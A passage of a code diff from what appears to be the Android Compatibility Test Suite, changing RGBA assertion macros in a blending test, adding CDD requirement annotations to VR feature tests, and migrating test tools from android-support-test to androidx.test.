-        ASSERT_NEAR(final_color, kExpectedBlendedPixel_NoSrgb, 1);
+        ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_NoSrgb, 1);
         testFramebufferBlending(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceLinear, &final_color);
-        ASSERT_NEAR(final_color, kExpectedBlendedPixel_NoSrgb, 1);
+        ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_NoSrgb, 1);
         testFramebufferBlending(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceSrgb, &final_color);
-        ASSERT_NEAR(final_color, kExpectedBlendedPixel_Srgb, 1);
+        ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_Srgb, 1);
     }
 }
diff --git a/tests/vr/src/android/vr/cts/VrFeaturesTest.java b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
index caf1ade..a0c6457 100644
--- a/tests/vr/src/android/vr/cts/VrFeaturesTest.java
+++ b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
@@ -21,6 +21,8 @@
 import android.os.Process;
 import android.test.ActivityInstrumentationTestCase2;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class VrFeaturesTest extends ActivityInstrumentationTestCase2<CtsActivity> {
     private CtsActivity mActivity;
 
@@ -28,6 +30,7 @@
         super(CtsActivity.class);
     }
 
+    @CddTest(requirement="7.9.2/C-1-2")
     public void testLacksDeprecatedVrModeFeature() {
         mActivity = getActivity();
         boolean hasVrMode = mActivity.getPackageManager().hasSystemFeature(
@@ -40,6 +43,7 @@
         }
     }
 
+    @CddTest(requirement="7.9.2/C-1-3")
     public void testSustainedPerformanceModeSupported() {
         mActivity = getActivity();
         PowerManager pm = (PowerManager) mActivity.getSystemService(Context.POWER_SERVICE);
diff --git a/tools/cts-holo-generation/Android.mk b/tools/cts-holo-generation/Android.mk
index 195f5a5..de39c63 100644
--- a/tools/cts-holo-generation/Android.mk
+++ b/tools/cts-holo-generation/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tools/cts-holo-generation/AndroidManifest.xml b/tools/cts-holo-generation/AndroidManifest.xml
index ad4ae22..41fab00 100644
--- a/tools/cts-holo-generation/AndroidManifest.xml
+++ b/tools/cts-holo-generation/AndroidManifest.xml
@@ -7,7 +7,7 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.holo_capture" />
 
     <application>
diff --git a/tools/cts-media-preparer-app/Android.mk b/tools/cts-media-preparer-app/Android.mk
index 9d44f8c..c2d5731 100644
--- a/tools/cts-media-preparer-app/Android.mk
+++ b/tools/cts-media-preparer-app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tools/cts-media-preparer-app/AndroidManifest.xml b/tools/cts-media-preparer-app/AndroidManifest.xml
index da8d3d2..15afba4 100644
--- a/tools/cts-media-preparer-app/AndroidManifest.xml
+++ b/tools/cts-media-preparer-app/AndroidManifest.xml
@@ -23,7 +23,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.mediastress.cts.preconditions.app"
             android:label="Device-side CTS mediastress preparation" />
 </manifest>
diff --git a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
index 1b55196..0f4fd69 100644
--- a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
+++ b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
@@ -15,13 +15,14 @@
  */
 package android.mediastress.cts.preconditions.app;
 
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import com.android.compatibility.common.util.MediaUtils;
-
 import android.app.Instrumentation;
 import android.media.MediaFormat;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 888eadc..9c64e76 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     compatibility-device-preconditions
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tools/cts-preconditions/AndroidManifest.xml b/tools/cts-preconditions/AndroidManifest.xml
index a8eb827..984ef6a 100644
--- a/tools/cts-preconditions/AndroidManifest.xml
+++ b/tools/cts-preconditions/AndroidManifest.xml
@@ -24,7 +24,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS preconditions test"
         android:targetPackage="com.android.preconditions.cts" >
     </instrumentation>